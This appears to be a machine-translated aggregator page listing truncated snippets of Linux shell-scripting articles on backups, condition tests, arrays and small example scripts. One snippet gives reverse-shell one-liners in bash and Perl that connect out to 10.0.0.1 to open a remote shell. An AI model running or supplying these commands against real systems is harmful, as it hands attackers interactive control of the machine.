Qualified Linux OPS personnel must be 30 shell programming surface questions and explanations-09

Enterprise Actual Combat Problem 9: How to implement the MySQL database sub-Library plus table backup, please use the script to implementMy script

Bash Shell Relationship

The bash and shell relationships of LinuxShell Popular Understanding: Translate user-entered commands to the operating system.The shell is an interactive command interpreter. The shell is independent of the operating system, which gives the user the

Shell Simple Summary--grammar

First, condition testThe command test or [can test whether a condition is true, if the test result is real, the exit status of the command is 0, if the test result is false, the exit status of the command is 1 (note the exact opposite of the logical

Shell Script Learning Notes

1./dev/null/dev/zero ①/dev/null:/dev/null, called an empty device, is a special device file that discards everything written to it (but reports a successful write operation) and reads it immediately to get an EOF. In Unix jargon,/dev/null is called

Rsync starts closing shell scripts

This script can be placed in the/etc/init.d/directory with service RSYNCD Start\stop\status\restart management, you can also use Chkconfig for boot-start management, detailed script content as follows:#!/bin/bash# ************************************

Shell Script Small Example

1-100 the sum of the natural numbers: Law one: For Loop #!/bin/bash#declare-i sum=0for ((i=0;i" | awk "{print $NF}");d o if ["$state" = = ' established '];then let estab++ elif [ "$state" = = ' LISTEN '];then let listen++ else let other++ Fidoneecho

(a) Shell programming writing specifications and execution methods

#!/bin/bash (fixed start)# Comments (in script)Cat 1.sh Viewing scripts1. Execute the Script1) Execute permissions for script firstchmod 744 1.sh or chmod +x 1.sh2) execution  . /1. SH (./current path)2. Give permission to run directlychmod a+x

Linux bash Shell determines whether a directory is empty

#!/bin/sh# #方法一 Determine the number of output characters counted as 0is_empty_dir ( ) {return ' ls-a $1|WC-w '}# #方法二 Determine output string is empty #is_empty_dir () {# return $[-Z ' ls-a $1']#}if is_empty_dir $1 then' is empty'else

Shell Programming-project Deployment (optimization)

In the actual work of small and medium-sized to encounter a problem that is when I go to operate the deployment script, another person can also operate, this how can do, and then the small part of the thought to re-optimize the code, add a process

"LINUX SHELL" Note 02: initial knowledge of variables

Https://www.shellscript.sh/variables1.htmlA variable is the name of a block of memory that can be manipulated (read, write).1, return to the tradition. -"The only way to learn a new programming language is to use it to program"try -1Create a

Several postures of the shell bouncing under Linux

1. Bash BounceBash-i >&/dev/tcp/10.0.0.1/8080 0>&12. PerlPerl-e ' use Socket; $i = "10.0.0.1"; $p =1234;socket (S,pf_inet,sock_stream,getprotobyname ("TCP")); if (Connect (S), Sockaddr_in ($p, Inet_aton ($i))) {Open (STDIN, ">&s"), open (STDOUT,

Shell finishing (36) = = = Read the rules and write the series

(a) write the series as shown below[Email protected] ding1]# bash 5.sh2/13/25/38/513/821/1334/2155/3489/55144/89233/144The shell code is as follows:#!/bin/bash>aa>bbEcho 1 2 | Xargs-n1 >AAFor i in ' seq 20 'DoA= ' Cat AA | Sed-n ' $i ' P 'b= ' Cat

About the shell, where is the environment variable placed?

When using the shell, the environment variable file is read./etc/profile: This file sets the environment information for each user for the system, and the file is executed when the user logs on for the first time.and collect the shell settings from

Implements a simple shell sed replacement function

You can use the script to pass parameters to implement the substitution#-*-coding:utf-8-*-#Author:sunhaoImportSYSF= Open ('Yesterday','R', encoding='Utf-8') F_new= Open ('Yesterday.bak','W', encoding='Utf-8') Find_str=sys.argv[1]replace_str=sys.argv[

Linux shell functions

The shell function is similar to a shell script, which holds a series of instructions, but the Shell function is in memory, not the hard disk file, so it is fast, and the shell can preprocess the function, so the function starts faster than the

Shell script game: scissors stone Cloth

#!/bin/bash#author: The Adventures of Tintin (Jacob) #定义数组, save all the possibilities of Punch game= (stone   scissors   cloth) num=$[random%3]computer=${game[$num]}# Get the punch of a computer by random number # The possibility of a punch is

Shell condition Test

File Status Test -B filename Returns True when filename exists and is a block file (returns 0) -C filename Returns True when filename exists and is a character file -D Pathname Returns True

Common shell commands

Tag: grep hex BSP df-h color directory encountered sort1. Find the contents of the file (e.g. account number: zh123456): Grep;lsMode 1 Find all Files: grep zh123456 *Mode 2 recursive lookup: ls | Xargs grep zh123456Mode 3 Recursive lookup: Find.

Linux shell array creation and usage tips

Reference URL: http://www.cnblogs.com/chengmo/archive/2010/09/30/1839632.htmlThe Linux shell is much more powerful in programming than Windows batch processing, and cannot be compared in terms of loops, operations, and data types. Here is a summary

Linux command Detailed (10) An array of shell scripts

1. Array definition[[email protected] ~]# a= (12345678) [ [Email protected] -IDC ~]# Echo $aA pair of parentheses indicates an array, and the elements of the array are separated by a "space" symbol.2. Array reading and Assignment1) Get the length

Total Pages: 541 1 .... 349 350 351 352 353 .... 541 Go to: GO

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.